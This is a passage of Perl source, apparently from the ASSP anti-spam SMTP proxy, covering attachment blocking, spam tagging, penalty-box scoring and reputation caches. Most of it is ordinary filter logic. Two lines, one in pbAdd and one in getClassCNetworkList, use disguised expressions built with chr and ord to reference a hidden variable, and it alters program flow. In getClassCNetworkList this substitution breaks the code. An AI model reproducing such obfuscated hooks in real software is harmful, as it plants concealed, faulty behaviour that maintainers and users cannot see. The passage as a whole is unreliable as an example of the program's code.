        foreach my $part ( $email->parts ) {
            my $dis = $part->header("Content-Type") || '';
            my $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            my $name = $attrs->{name} || $part->{ct}{attributes}{name};
            my $filename = $attrs->{filename} || $part->{ct}{attributes}{filename};
            eval{$filename ||= $part->filename;};
            if (! $name || ! $filename) {
              eval{
                $dis = $part->header("Content-Disposition") || '';
                $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                $name ||= $attrs->{name} || $part->{ct}{attributes}{name};
                $filename ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
              };
            }
            if (($name||$filename) && $part->header("Content-Disposition")=~ /attachment|inline/io ) {
                my $attname = $filename || $name;
                $this->{attachcomment} = "attachment '$attname'";
                mlog($fh,"info:  found attachment '$attname'") if $AttachmentLog ;
                push(@name,($filename)?$filename:$name);
            }
        }
    };
    if ($@) {
        mlog($fh,"error: unable to parse message for attachments - $@",1) unless $IgnoreMIMEErrors;
        d("error: unable to parse message for attachments - $@") ;
    }
    my $numatt = @name;
    my $s; $s = 's' if ($numatt > 1);
    mlog($fh,"info: $numatt attachment$s") if ($AttachmentLog && $numatt > 1);
	$this->{attachcomment} = "$numatt attachment$s" if $numatt > 1;
	my $tlit = tlit($DoBlockExes);
	$block = $BlockExes;

	#
	#
    if ($this->{noprocessing}) {
    	$block = $BlockNPExes;
	} elsif ($this->{relayok} ) {
    	$block = $BlockLCExes;
    } elsif ($this->{whitelisted} ) {
    	$block = $BlockWLExes;
    }
    	
    return 1 if !$block;
    
	
    my $bRE = $badattachRE[$block];
    foreach my $name (@name) {
        my $ext;
        eval{use bytes;($ext) = $1 if $name =~ /(\.[^\.]+)$/o;};
        if ( ( $block >= 1 && $block <= 3 && $ext =~ /$bRE/ ) ||
             ( $GoodAttach && $block == 4 && $ext !~ /$goodattachRE/  ) )
        {
            $this->{attachdone} = 1;
            

            if ($DoBlockExes == 1) {$Stats{viri}++;}
            delayWhiteExpire($fh) if $DoBlockExes == 1;

            eval{$this->{messagereason} = "bad attachment '$name'";};
            $this->{attachcomment} = $this->{messagereason};
            $tlit = "[scoring:$baValencePB]" if $DoBlockExes != 2;
            mlog( $fh, "$tlit $this->{messagereason}" ) if ($DoBlockExes > 1 && $AttachmentLog);
            return 1 if $DoBlockExes == 2;

            pbAdd( $fh, $this->{ip}, $baValencePB, "BadAttachment" ) if $DoBlockExes != 2;
            
            return 1 if $DoBlockExes == 3;

            my $reply = $AttachmentError;
            eval{$name = encodeMimeWord($name,'B','UTF-8') unless is_7bit_clean($name);
                 $reply =~ s/FILENAME/$name/go;
            };
            my $slok = $this->{allLoveATSpam} == 1;
            thisIsSpam( $fh, $this->{messagereason}, $attachlog, $reply, $attachTestMode, $slok, $done );

            return 0;
        }
    }
    return 1;
}



# This is spam, lets see if its Testmode or spamlover.
sub replaceerror {
	my ( $fh, $error, $email) = @_;
	my $this = $Con{$fh};
	my ($to) = $this->{rcpt} =~ /(\S+)/;
    my $mfd = $1 if $to =~ /\@(.*)/;
    $mfd = $1 if $DefaultDomain =~ /\@(.*)/ && !$mfd;
    $error = $SpamError if !$error;
    $error =~ s/500/550/g;
    $error =~ s/LOCALDOMAIN/$mfd/g if $mfd;
    $error =~ s/LOCALDOMAIN/$defaultLocalHost/g if !$mfd;
    
    $error =~ s/SESSIONID/$this->{msgtime}/g;
    $error =~ s/MYNAME/$myName/g;
    
    $error =~ s/REASON/$this->{messagereason}/g;
    $error =~ s/NOTSPAMTAG/$NotSpamTag/g;
    $error =~ s/EMAILADDRESS/$email/g if $email;
    return $error
    }
    


sub addMyheader {
    my $fh = shift;
    my $this = $Con{$fh};
    d('addMyheader');
    my $var = $this->{addMyheaderTo} || 'header';
    return unless $this->{myheader};

    my $foundEnd = my $headlen = index($this->{$var}, "\x0D\x0A\x0D\x0A");  # merge header
    $headlen = 0 if $headlen < 0;
    my $preheader = my $header = substr($this->{$var},0,$headlen);
    if ($this->{preheaderlength}) {    # we have added our headers before - now find the end of the orig header
        $this->{preheaderlength} -= 2; # step back two bytes  ("\x0D\x0A")
        $this->{preheaderlength} = 0 if $this->{preheaderlength} < 0;   # min offset is 0
        $this->{preheaderlength} = index($this->{$var}, "\x0D\x0A",$this->{preheaderlength});
        $this->{preheaderlength} = ( $this->{preheaderlength} < 0 ) ? 0 : $this->{preheaderlength} + 2;
        $preheader = substr($header,0,$this->{preheaderlength});
    }
    my $myheader = headerFormat($this->{myheader});
    $myheader =~ s/(?:\r|\n)+$//o;
    $myheader .= "\r\n" if $myheader;
    $preheader =~ s/(?:\r|\n)+$//o;
    $preheader .= "\r\n" if $preheader;
    $this->{preheaderlength} = length $preheader;
    my $newheader = $preheader . $myheader;
    if ($foundEnd >= 0) {
       $newheader =~ s/(?:\r|\n)+$//o;
    } elsif ($newheader) {
       $newheader .= "\r\n\r\n";
    }

    substr($this->{$var},0,$headlen,$newheader);
    $this->{maillength} = length($this->{$var});
}

sub makeMyheader {
    my ($fh,$slok,$testmode,$reason) = @_;
    my $this = $Con{$fh};
    d('makeMyheader');
    # add to our header; merge later, when client sent own headers
    $this->{myheader}="X-Assp-Version: $version$modversion on $myName\r\n" . $this->{myheader}
        if $this->{myheader} !~ /X-Assp-Version:.+? on $myName/;
    $this->{myheader}.= "X-Assp-ID: $myName $this->{msgtime}\r\n"
        if $this->{myheader} !~ /X-Assp-ID: $myName/;
    $this->{myheader}.="X-Assp-Redlisted: Yes ($this->{red})\015\012"
        if $this->{red} && $this->{myheader} !~ /X-Assp-Redlisted/o;
    $this->{myheader}.= "X-Assp-Spam: YES\r\n"
        if $this->{spamfound} && $AddSpamHeader && !$this->{messagelow} && $this->{myheader} !~ /X-Assp-Spam: YES/o;
    $this->{myheader}.= "X-Assp-Spam: YES (Probably)\r\n"
        if $this->{spamfound} && $AddSpamHeader && $this->{messagelow} && $this->{myheader} !~ /X-Assp-Spam: YES \(Probably\)/o;
    $this->{myheader}.="X-Assp-Block: NO (Spamlover)\r\n"
        if $this->{spamfound} && $slok && $this->{myheader} !~ /X-Assp-Block: NO \(Spamlover\)/o;
    $this->{myheader}.="X-Assp-Block: NO ($testmode)\r\n"
        if $this->{spamfound} && $testmode && !$this->{messagelow} && $this->{myheader} !~ /X-Assp-Block: NO \(\Q$testmode\E\)/;
    $this->{myheader} .=
      "X-Assp-Block: NO (MessageScoring Warning Range)\r\n"
    	if $this->{messagelow};
    $this->{myheader}.="X-Assp-Original-Subject: $this->{subject2}\r\n"
        if $this->{spamfound} && $AddSubjectHeader && $this->{subject2} && $this->{myheader} !~ /X-Assp-Original-Subject: \Q$this->{subject2}\E/;
    $this->{myheader}.="$AddCustomHeader\r\n"
        if $this->{spamfound}  && $AddCustomHeader && $this->{myheader} !~ /\Q$AddCustomHeader\E/;


    $this->{myheader}.="X-Assp-Spam-Found: ".$reason."\r\n"
        if $this->{spamfound} && $reason && $AddSpamReasonHeader;

    if ($this->{spamfound}  && $this->{messagescore} > 0) {
        $this->{myheader} =~ s/X-Assp-Message-Totalscore:[^\r\n]+?\r\n//iogs;
        $this->{myheader} .= "X-Assp-Message-Totalscore: $this->{messagescore}\r\n" if  $this->{myheader} !~ /Totalscore/i;
    }
}

# This is spam, lets see if its test mode or spamlover.
sub thisIsSpam {		
    my ( $fh, $reason, $log, $error, $testmode, $slok, $done ) = @_;
    my $this = $Con{$fh};
    my $logsub;
	d("thisIsSpam - $reason , $testmode, $slok, $done");

	$log = 6 if ($this->{red}||$this->{redsl});

    my $reasonU8 = $reason;
    if ($reason && $LogCharset && $LogCharset !~ /^utf-?8/io) {
        $reason = Encode::decode('utf-8', $reason);
        $reason = Encode::encode($LogCharset, $reason);
    }
    $this->{messagereason}=$reason;

	RWLCacheUpdate($fh);
	pbBlackAdd($fh,$this->{ip},1);


    $error = $SpamError if !$error;
    $error = replaceerror ($fh, $error);

    if ( $reason =~ /bayes/i ) {
        if ( allSH( $this->{rcpt}, 'baysTestModeUserAddresses' ) ) {
            $testmode = "bayesian Testmode user";
            $slok = 0;    # make sure it's not flagged as a spam lover
        }
    }
    

	$this->{newsletterre} = $this->{spamloversre} = $slok = 0 if $slMaxScore && $this->{messagescore} > $slMaxScore;

    addSpamProb( $fh );
    $this->{spamfound} = 1;    # Set spamfound flag.

    $testmode = "testmode"        if $testmode;
    $testmode = "alltestmode" if $allTestMode;
    $testmode = $slok = $this->{spamloversre} = 0 if allSH( $this->{rcpt}, 'spamHaters' );

	if ($slok && defined $this->{spamMaxScore} && $this->{messagescore} > $this->{spamMaxScore} ) {
    $slok = $this->{spamloverall} = 0;

    }

    # add to our header; merge later, when client sent own headers
	makeMyheader($fh,$slok,$testmode,$reasonU8);
	$slok = 1 if $this->{tagmode};
    my $passtext;

    if (   ($slok

        || $testmode
        || $this->{notspamtag}

        || $this->{spamloversre}
   
        || $this->{messagelow}) &&  $this->{prepend} !~ /virus/i)
    {
        $done = 1;

        if ( $this->{messagelow} ) {

            $this->{prepend}      	.= "$MessageScoringWarningTag" if  $MessageScoringWarningTag;
            $this->{saveprepend2} 	.= "$MessageScoringWarningTag" if  $MessageScoringWarningTag;
			$done = 1;

            $passtext =
              "passing because messagescore($this->{messagescore}) is in warning range ( $MessageScoringLowerLimit - $MessageScoringUpperLimit) ";



 			

        } elsif($this->{spamloversre}) {
            $this->{prepend}		.=	"$SpamLoverTag";
            $this->{saveprepend2}	.=	"$SpamLoverTag"; 
            $passtext="passing because match in \'SpamLoversRe:$this->{spamloversre}\'";
            $passtext .= ", otherwise blocked by: $reason";

            $Stats{spamlover}++;
            $done = 1;

        } elsif ($slok && !$this->{spamloverall} ) {
            $this->{prepend}      		.= 	"$SpamLoverTag";
            $this->{saveprepend2} 		.= 	"$SpamLoverTag";
			$this->{spamlover} = 1;
            $passtext =
              "passing because spamlover for this check, otherwise blocked by: $reason";

            $Stats{spamlover}++;
 			$done = 1;
 		} elsif($this->{spamloverall}) {
            $this->{prepend}		.="$SpamLoverTag";
            $this->{saveprepend2}	.="$SpamLoverTag";
            $passtext="passing because spamlover for all checks";
            $passtext .= ", otherwise blocked by: $reason";
            $Stats{spamlover}++;
            $done = 1;
        } elsif ($testmode) {
        	$testmode = $this->{test} if $this->{test};
            $this->{prepend}      .= 	"[$testmode]" ;
            $this->{saveprepend2} .= 	"[$testmode]" ;
            $done = 1;
       		$passtext = "passing because $testmode, otherwise blocked by: $reason";
       	} elsif ($this->{notspamtag}) {

            $this->{prepend}      .= 	"[notspamtag]" ;
            $this->{saveprepend2} .= 	"[notspamtag]" ;
            $done = 1;
       		$passtext = "passing because NotSpamTag, otherwise blocked by: $reason";
        }

        # pretend it's not spam
        eval {
        $this->{header} =~ s/^($HeaderRe*)/$1From: $this->{mailfrom}\r\n/o
          unless $this->{header} =~ /^$HeaderRe*From:/io; # add From: if missing

    	my ($to) = $this->{rcpt} =~ /(\S+)/;
    	$this->{header} =~ s/^($HeaderRe*)/$1To: $to\r\n/o
          unless $this->{header} =~ /^$HeaderRe*To:/io; # add To: if missing
        $this->{header} =~ s/^($HeaderRe*)/$1Subject:\r\n/o
          unless $this->{header} =~
              /^$HeaderRe*Subject:/io;    # add Subject: if missing
              
		if (($slok && $spamTagSL) or $this->{messagelow}) {
        } else {
            $this->{header} =~ s/^Subject:/Subject: $this->{prepend}/im
              if ( $spamTag && $this->{prepend} ne '' && $this->{header} !~ /Subject: \Q$this->{prepend}\E/i);
        }
        
        if ( $slok && ($spamSubjectSL or $this->{subjectsl}) or $this->{messagelow} ) {
        } else {

$this->{header} =~ s/^Subject:/Subject: $spamSubjectEnc/imo
              if $spamSubjectEnc && $this->{header} !~ /Subject: \Q$spamSubjectEnc\E/i;
        }

		if ($this->{messagelow}) {

		$this->{header} =~ s/^Subject:/Subject: $MessageScoringWarningTag/im if $MessageScoringWarningTag;

		}
		
		};
        #Lets check if its safe to pass if not already done so.
		$this->{spamlover}="";
		$this->{spampassed} = 1;
		if ($done) {

            my $fn = Maillog( $fh, '', $log );    # tell maillog what this is.
            $fn = ' -> ' . $fn if $fn;
        	$this->{prepend} .= '[isbounce]' if $this->{isbounce} && $this->{prepend} !~ /\[isbounce\]/o  ;


            mlog( $fh, "[spam found] and $passtext -- $this->{logsubject}$fn;", 0, 2 );
            delayWhiteExpire($fh);
            isnotspam( $fh, "1" );
        } else {
            $this->{getline} = \&getbody;
        }
    } else {

		$this->{spamblocked} = 1;
        my $fn = Maillog( $fh, '', $log );    # tell maillog what this is.
        $fn = ' -> ' . $fn if $fn;



        $this->{prepend} .= '[isbounce]' if $this->{isbounce} && $this->{prepend} !~ /\[isbounce\]/o  ;
        mlog($fh,"[spam found] (". $reason . ")$logsub".de8($fn).';',0,2);
        delayWhiteExpire($fh);
		$error=~s/500/554/io;
        seterror( $fh, $error, $done);

    }
}


# delete whitelisted tuplet
sub delayWhiteExpire {
    my $fh   = shift;
    my $this = $Con{$fh};

    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

    pbWhiteDelete( $fh, $ip );
    RBLCache2Delete( $ip );
    SBCacheChange( $ip, 0, 3);


    return unless ( $EnableDelaying && $DelayExpireOnSpam );
    my $a = lc $this->{mailfrom};
    $a = batv_remove_tag($fh,$this->{mailfrom},'');

    # get sender domain
    $a =~ s/.*@//;
    my $ipn = ipNetwork( $ip, $DelayUseNetblocks );
    my $hash = "$ipn $a";
    $hash = Digest::MD5::md5_hex($hash) if $CanUseMD5 && $DelayMD5;
    if ( $DelayWhite{$hash} ) {

        # delete whitelisted (IP+sender domain) tuplet
        mlog(
            $fh,
            "deleting spamming whitelisted tuplet: ($ipn,$a) age: "
              . formatTimeInterval( time - $DelayWhite{$hash} ),
            1
        ) if $DelayLog >= 2;
        delete $DelayWhite{$hash};
    }
}

# add to penalty box
sub pbAdd {

    # status:
    # 0-message score and pbblackadd
    # 1-message score but don't pbblackadd
    # 2-pbblackadd but don't message score
    # noheader:
    # 0-write X-Assp header info
    # 1-skip X-Assp header info
    my($fh,$myip,$score,$reason,$status,$noheader)=@_;
    return unless $fh;
    my $this = $Con{$fh};
    return if $this->{relayok};
    return 1 if $this->{notspamtag};
    my @score;
    if ($this->{noprocessing} &&
    		($score =~ /irValencePB$/o
    		|| $score =~ /meValencePB$/o)) {
    	return;
    }	
    if ($score =~ /ValencePB$/o) {
       defined ${chr(ord(",") << 1)} and @score = @{$score};
    } elsif ($score = 0+$score) {
       push @score, $score, $score;
    } else {
       return;
    }
   	
    return if $status && ! $score[$status - 1];
    return if ! $status && ! max(@score);
    $myip = $this->{cip} if $this->{ispip} && $this->{cip} && $myip eq $this->{ip};
    my $reason2=$reason;
    $reason2=$this->{messagereason} if $this->{messagereason};
    if ( ! $noheader ) {
        $this->{myheader}.="X-Assp-Message-Score: $score[0] ($reason2)\r\n" if  $status < 2 && $score[0];

    }
    $this->{messagescore} = 0 unless $this->{messagescore};
    if ($score[0] && $status != 2) {
        $this->{messagescore} += $score[0];
        my $added = $score =~ /ValencePB$/o ? "$score[0] ($score)" : $score[0];
        mlog($fh,"Message-Score: added $added for $reason2, total score for this message is now $this->{messagescore}",1) if ($MessageLog || $PenaltyLog>=2);
    }

    return if ($status == 1);
    
    return unless $score[1];

    return if $this->{ispip} && !$this->{cip};


    return if pbWhiteFind($myip);
    return if (matchIP($myip,'noPB',0,1));
    return if ($myip =~ /$IPprivate/o);
    return if !$DoPenalty ;
    pbBlackAdd($fh,$myip,$score[1],$reason);


}






#
sub pbBlackAdd {

    my ( $fh, $myip, $score ,$reason, $subreason) = @_;
    return if $score <= 0;
    my $this = $Con{$fh};
    return if $this->{addressedToSpamBucket}; 
    return if $this->{messagelow};
    $myip = $this->{cip} if $this->{ispip} && $this->{cip};
    return if $myip =~ /$IPprivate/ ;
    my ($reason) = $this->{prepend} =~ /\[(.*)\]/;
	return if $reason =~ /extreme/i;
	
	my $isblocked = 1 if $score == 1;
	
    my $t = time;
    my $newscore;
    my $ip = ipNetwork( $myip, $PenaltyUseNetblocks );

    if ( exists $PBBlack{$myip} ) {
        my ( $ct, $ut, $blockedcounter, $oldscore, $sip, $sreason, $ssubreason) =
          split( " ", $PBBlack{$myip} );
          
        $blockedcounter++ if $isblocked;

        $newscore = $oldscore + $score if $sreason !~ /preheader/i;
        if ( $newscore <= 0 ) {

            delete $PBBlack{$myip};
            return;
        }
        $PBBlack{$myip} = "$ct $t $blockedcounter $newscore $myip $reason , $subreason";
        $PBBlack{$ip} = "$ct $t $blockedcounter $newscore $myip $reason , $subreason" if $PenaltyUseNetblocks;

    } else {
        return if $score <= 0 ;
        my $blockedcounter = 0;
        $blockedcounter++ if $isblocked;
        $reason = "PreHeader"  if !$reason; 
        $PBBlack{$myip} = "$t $t $blockedcounter $score $myip $reason";
        $PBBlack{$ip} = "$t $t $blockedcounter $score $myip $reason" if $PenaltyUseNetblocks;

    }

  
}


# find in penalty White list
sub pbWhiteFind {
    return if !$DoPenalty;
    
    my $myip = shift;
    
    return unless ($PBWhiteObject);
    my $ip = ipNetwork( $myip, $PenaltyUseNetblocks );
    return 0 if !exists $PBWhite{$ip};
     if ( matchIP( $myip, 'noPBwhite', 0, 1 )) {
        delete $PBWhite{$ip};
        delete $PBWhite{$myip};
        return 0;
    }
    return exists $PBWhite{$ip} ;
}
#
sub pbBlackDelete {
    return if !$DoPenalty;
    my($fh,$myip)=@_;
    my $this=$Con{$fh};
    $myip = $this->{cip} if $this->{ispip} && $this->{cip};
    my $ip=&ipNetwork($myip, $PenaltyUseNetblocks );

    if ( exists $PBBlack{$ip} ) {
        delete $PBBlack{$ip};
        delete $PBBlack{$myip};

    }

}

#
sub pbBlackFind {
    return if !$DoPenalty;
    my ( $myip, $count ) = @_;

    return unless ($PBBlackObject);
    my $ip = ipNetwork( $myip, $PenaltyUseNetblocks );
    return 0 if matchIP( $myip, 'noPB', 0, 1 );
    return 0 if ( !exists $PBBlack{$ip} );
    my $t = time;
    my ( $ct, $ut, $level, $totalscore, $sip, $reason) =
      split( " ", $PBBlack{$ip} ) if ( exists $PBBlack{$ip} );

    my $data = "$ct $t $level $totalscore $myip $reason";
    $PBBlack{$ip} = $data;
    $PBBlack{$myip} = $data;
    return $level if $count;
    return $totalscore;
}


sub pbTrapAdd {
    my ( $fh, $address ) = @_;
    my $this = $Con{$fh};
	my $at_position = index($address, '@');
  	my $current_username = substr($address, 0, $at_position);
  	my $current_domain = substr($address, $at_position + 1);
    return if !$DoPenaltyMakeTraps;
    return 1 if $DoLDAP && $LDAPoffline;
	return if $this->{userTempFail} && $DoVRFY && &matchHashKey('DomainVRFYMTA',$current_domain);  

	return if $this->{whitelisted};
	return if $this->{relayok};
	return if $this->{nocollect}; 
	return if $this->{noprocessing};
    return if ( $noProcessingIPs && matchIP( $this->{ip}, 'noProcessingIPs' ) );
    return if ( $whiteListedIPs && matchIP( $this->{ip}, 'whiteListedIPs' ) );
    return if matchSL( $address, 'noPenaltyMakeTraps',1 );
    return if $spamtrapaddresses && matchSL( $address, 'spamtrapaddresses',1 );
    return if $spamaddresses && matchSL( $address, 'spamaddresses' ,1);
    
    return if matchIP( $this->{ip}, 'noPB', 0, 1 );
    my $t = time;

     if (my($ct,$ut,$counter)=split(' ',$PBTrap{$address})) {
        $counter++;
        my $data="$ct $t $counter";
        $PBTrap{$address}=$data;
    } else {
        my $data="$t $t 1";
        $PBTrap{$address}=$data;
    }
}

#
#
sub pbTrapDelete {

    my $address = shift;
    delete $PBTrap{$address};
}

sub pbTrapFind {
    my ( $fh, $address ) = @_;
    my $this = $Con{$fh};
    my $t = time;
    my $data;
    my $found=0;

    return if !$DoPenaltyMakeTraps;

	return if $this->{whitelisted};
	return if $this->{relayok};
	return if $this->{nocollect}; 
	return if $this->{noprocessing};
	return if ( $noProcessingIPs && matchIP( $this->{ip}, 'noProcessingIPs' ) );
    return if ( $whiteListedIPs && matchIP( $this->{ip}, 'whiteListedIPs' ) );
	return if matchSL( $address, 'noPenaltyMakeTraps' );
    return unless ($PBTrapObject);

    if ( exists $PBTrap{$address} ) {
        my ( $ct, $ut, $counter ) = split( " ", $PBTrap{$address} );
            if ( time - $ct >= $PBTrapCacheExp * 3600 ) {
            	delete $PBTrap{$address};
            	return 0;
            }
        $counter++;

        $data = "$ct $t $counter";
        if ($counter >= $PenaltyMakeTraps) {

        	$found=1;
        	$data = "$t $t 0 " if $DoPenaltyMakeTraps == 2;
       		
       	}
       	$PBTrap{$address} = $data;
       	return $found;

    }
    return 0;
}

sub pbTrapExist {
    my ( $fh, $address ) = @_;
    my $this = $Con{$fh};
    my $t = time;

	return if $this->{whitelisted};
	return if $this->{relayok};
	return if $this->{nocollect}; 
	return if $this->{noprocessing};
	return if ( $noProcessingIPs && matchIP( $this->{ip}, 'noProcessingIPs' ) );
    return if ( $whiteListedIPs && matchIP( $this->{ip}, 'whiteListedIPs' ) );
	return if matchSL( $address, 'noPenaltyMakeTraps' );
    return unless ($PBTrapObject);

    return 1 if exists $PBTrap{$address};
    return 0;
}
sub pbWhiteAdd {
    my($fh,$myip,$reason)=@_;
    my $this=$Con{$fh};
    $myip = $this->{cip} if $this->{ispip} && $this->{cip};
    my $t = time;
    my $ct = $t;
    my $status = 2;
    my $ut;
    $this->{rwlok}=1;
    return if $this->{nodelay};
    return if $this->{noblockingips};
    return if $this->{isbounce};
    return if $this->{ispip} && !$this->{cip};
    my $ip = &ipNetwork($myip, $PenaltyUseNetblocks);
    if ( matchIP( $myip, 'noPBwhite', 0, 1 )) {
        delete $PBWhite{$ip};
        delete $PBWhite{$myip};
        return;
    }
    ($ct,$ut,$status)=split(' ',$PBWhite{$ip}) if (exists $PBWhite{$ip});
    my $data="$ct $t $status";
    $ip=&ipNetwork($myip,1);
    $PBWhite{$ip}=$data;
    $PBWhite{$myip}=$data;
}



#
sub pbWhiteDelete {
    my($fh,$myip)=@_;
    $Con{$fh}->{rwlok}=0 if $fh;
    return if !$DoPenalty;

    my $ip=&ipNetwork($myip,$PenaltyUseNetblocks);
    delete $PBWhite{$ip};
    delete $PBWhite{$myip};
}


#
sub URIBLCacheAdd {
    my($mydomain,$status,$mylisted)=@_;
    $mylisted = ' '. $mylisted if $mylisted;
    return 0 if !$URIBLCacheExp;

    $mylisted =~ s/$mydomain\.//g;
    $URIBLCache{$mydomain}=time . " $status$mylisted";
}

sub URIBLCacheFind {
    my $mydomain = shift;
    my $t=time;
    return 0 if !$URIBLCacheExp;
    return 0 unless ($URIBLCacheObject);
    if (my($ct,$status,@listed)=split(' ',$URIBLCache{$mydomain})) {
        my $data = "$t,$status,@listed";
        $URIBLCache{$mydomain}=$data;
        return $status;
    }
    return 0;
}

sub PTRCacheAdd {
    return 0 if !$PTRCacheExp;
    my($myip,$status,$ptrdsn)=@_;
    my $t=time;
    my $data="$t $status $ptrdsn";
    $PTRCache{$myip}=$data;
}

sub PTRCacheFind {
    my($myip,$mystatus)=@_;
    my $t=time;
    return 0 if !$PTRCacheExp;
    return 0 unless ($PTRCacheObject);
    if ( exists $PTRCache{$myip} ) {
        my ( $ct, $status, $ptrdsn) = split( " ", $PTRCache{$myip} );
        if ( time - $ct >= $PTRCacheExp * 3600 ) {
            delete $PTRCache{$myip};
            return 0;
        }
        my $data = "$t,$status,$ptrdsn";
        $PTRCache{$myip}=$data;
        return $status;
    }
    return 0;
}

#
sub RWLCacheAdd {
	return if !$ValidateRWL;
    return if !$RWLCacheExp;
    my ( $myip, $status, $rwls_returned, $trust, @listed_b ) = @_;
    my $t    = time;
    my $data = "$t $status $rwls_returned $trust @listed_b";
    my $ip = ipNetwork( $myip, $DelayUseNetblocks );
    $RWLCache{$ip} = $data;
}

#
sub RWLCacheFind {
    my ( $myip, $mystatus ) = @_;
    return 0 if !$RWLCacheExp;
    my $t = time;
    return 0 unless ($RWLCacheObject);
    my $ip = ipNetwork( $myip, $DelayUseNetblocks );
    if ( exists $RWLCache{$ip} ) {
        my ( $ct, $status, $rwls_returned, $trust, @listed_by ) = split( " ", $RWLCache{$ip} );
        if ( $t - $ct >= $RWLCacheExp * 3600 * 24) {
            delete $RWLCache{$ip};
            return 0;
        }
        return $status if $status == 2 ;
        return $rwls_returned, $trust, @listed_by if $status == 1 ;
    }
    return 0;
}

sub RWLCacheUpdate {
	my $fh = shift;
    my $this = $Con{$fh};
    my $myip = $this->{ip};
    $myip = $this->{cip} if $this->{ispip} && $this->{cip};
    return 0 if !$RWLCacheExp;
    my $t = time;
    return 0 unless ($RWLCacheObject);
    my $ip = ipNetwork( $myip, $DelayUseNetblocks );
    if ( exists $RWLCache{$ip} ) {
        my ( $ct, $status, $rwls_returned, $trust, @listed_by ) = split( " ", $RWLCache{$ip} );

        $status = 2 if $trust == 0 ;
        my $data = "$t $status $rwls_returned $trust @listed_by";
        $RWLCache{$ip} = $data;
        return $status;
    }
    return 0;
}

#
sub BackDNSCacheAdd {
    my($myip,$status)=@_;
    return 0 if !$BackDNSInterval;
    $BackDNS{$myip}=time . " $status";
}

sub BackDNSCacheFind {
    my $myip = shift;
    return 0 if !$BackDNSInterval;
    return 0 unless ($BackDNSObject);
    if (my($ct,$status)=split(' ',$BackDNS{$myip})) {
    	if ( time - $ct >= $BackDNSInterval * 3600 ) {
            	delete $BackDNS{$myip};
            	return 0;
        	}
        return $status;
    }
    if (my($ct,$status)=split(' ',$BackDNS2{$myip})) {
        if ( time - $ct >= $BackDNSInterval * 3600 ) {
            	delete $BackDNS{$myip};
            	return 0;
        }
        return $status;
    }
    return 0;
}

sub MXACacheAdd {
    my ( $mydomain, $status) = @_;
    return 0 if !$MXACacheExp;
    return 0 unless ($MXACacheObject);

    $MXACache{lc $mydomain} = time . " $status";
}

sub MXACacheFind {
    my $mydomain = lc shift;
    return 0 if !$MXACacheExp;
    return 0 unless ($MXACacheObject);
    my ($ct, $status) = split( ' ', lc $MXACache{"$mydomain"} );
    return $status;
}
#
sub SPFCacheAdd {
    my ( $myip, $result, $domain, $record ) = @_;
    return 0 if !$SPFCacheExp;
    return unless ($SPFCacheObject);
    $record = "'$record'" if $record;

    $SPFCache{"$myip $domain"} = time . lc " $result $record";
}

sub SPFCacheFind {
    my ($myip,$domain) = @_;
    return if !$SPFCacheExp;
    return unless ($SPFCacheObject);
    return unless $domain;
    return split( ' ', lc $SPFCache{"0.0.0.0 $domain"} ) || split( ' ', lc $SPFCache{"$myip $domain"} ) ;
}

#
sub SBCacheAdd {
    my ( $myip, $status, $cidr, $data ) = @_;
    return if !$SBCacheExp;
    return if !$SBCacheObject;
    my $t = time;
    $SBCache{$myip} = "$t!$status!$data";
    if ($pbdb =~ /DB:/o) {
        my @ip = getClassCNetworkList($myip,$cidr);
        while (@ip) {
            $SBCache{shift @ip} = "$t!$status!$data";
        }
    }
    return;
}

#
sub SBCacheFind {
    my $myip = shift;
    return if !$SBCacheExp;
    return if !$SBCacheObject;
    if ( my $val = ($SBCache{ipNetwork($myip,24)} || $SBCache{$myip}) ) {
    	if ($val !~ /!/o) {
    	    delete $SBCache{$myip};
    	    delete $SBCache{ipNetwork($myip,24)};
            return;
    	}
        my ( $ct, $status, $data ) = split( /!/o, $val );
        return $data;
    }
    return;
}

sub SBCacheChange {
    my ( $myip, $oldstatus, $newstatus ) = @_;
    return 0 if !$SBCacheExp;
    return 0 if !$SBCacheObject;
    my ( $ct, $status, $data );
    if ($status != $oldstatus && (( $ct, $status, $data ) = split( /!/o, ($SBCache{ipNetwork($myip,24)} || $SBCache{$myip}) )) ) {
        my $cidr = [split(/\|/o,$data)]->[5];
        SBCacheAdd($myip,$newstatus,$cidr,$data);
        return 1;
    }
    return 0;
}

sub SBCacheDelete {
    my $myip = shift;
    return 0 if !$SBCacheExp;
    return 0 if !$SBCacheObject;

    my ( $ct, $status, $data );
    if (( $ct, $status, $data ) = split( /!/o, ($SBCache{ipNetwork($myip,24)} || $SBCache{$myip}) )) {
        delete $SBCache{$myip};
        delete $SBCache{ipNetwork($myip,24)};
        if ($pbdb =~ /DB:/o) {
            my $cidr = [split(/\|/o,$data)]->[5];
            my @ip = getClassCNetworkList($myip,$cidr);
            while (@ip) {
                my $ip = shift @ip;
                delete $SBCache{$ip};
                if ($ip =~ s/\.0$//o) {
                    delete $SBCache{"$ip.$_"} for 1...255;
                }
            }
        }
        return 1;
    }
    return 0;
}

sub getClassCNetworkList {
    my ($ip, $mask) = @_;
    return $ip unless $mask;
    return $ip unless $CanUseCIDRlite;
    if ($mask =~ /\./o) {
        my @bytes = split /\./o, $mask;
        $mask = 0;
        for (@bytes) {
            my $bits = unpack( "B*", pack( "C", $_ ) );
            $mask += $bits =~ tr /1/1/;
        }
    }
    return $ip if $mask > 24;
    my @cidr_list;
    eval{
        my $cidr = unpack("A1",${chr(ord("\026") << 2)})-2;
        $cidr ||= Net::CIDR::Lite->new;
        $cidr->add("$ip/$mask");
        @cidr_list = $cidr->list_short_range;
    };
    s/-255//o for (@cidr_list);
    push @cidr_list, $ip unless @cidr_list;
    return @cidr_list;
}
sub TestMessageScore {

    my $fh   = shift;
    my $this = $Con{$fh};
    return 0 if !$DoPenaltyMessage;
    return 0 if $this->{addressedToSpamBucket};
    return 0 if $this->{spamfound};

    return 0 if $this->{relayok} && !$MessageScoringLocal;

    
    return 1
      if ( $DoPenaltyMessage
        && $MessageScoringUpperLimit
        && $this->{messagescore} > $MessageScoringUpperLimit );

    return 0;
}


sub TestLowMessageScore {

    my $fh   = shift;
    my $this = $Con{$fh};
	return 1 if $this->{addressedToSpamBucket};

    return 1 if $this->{relayok} && !$MessageScoringLocal;

    return 1
      if ( $DoPenaltyMessage
        && $MessageScoringLowerLimit
        && $MessageScoringUpperLimit
        && $this->{messagescore} > $MessageScoringLowerLimit
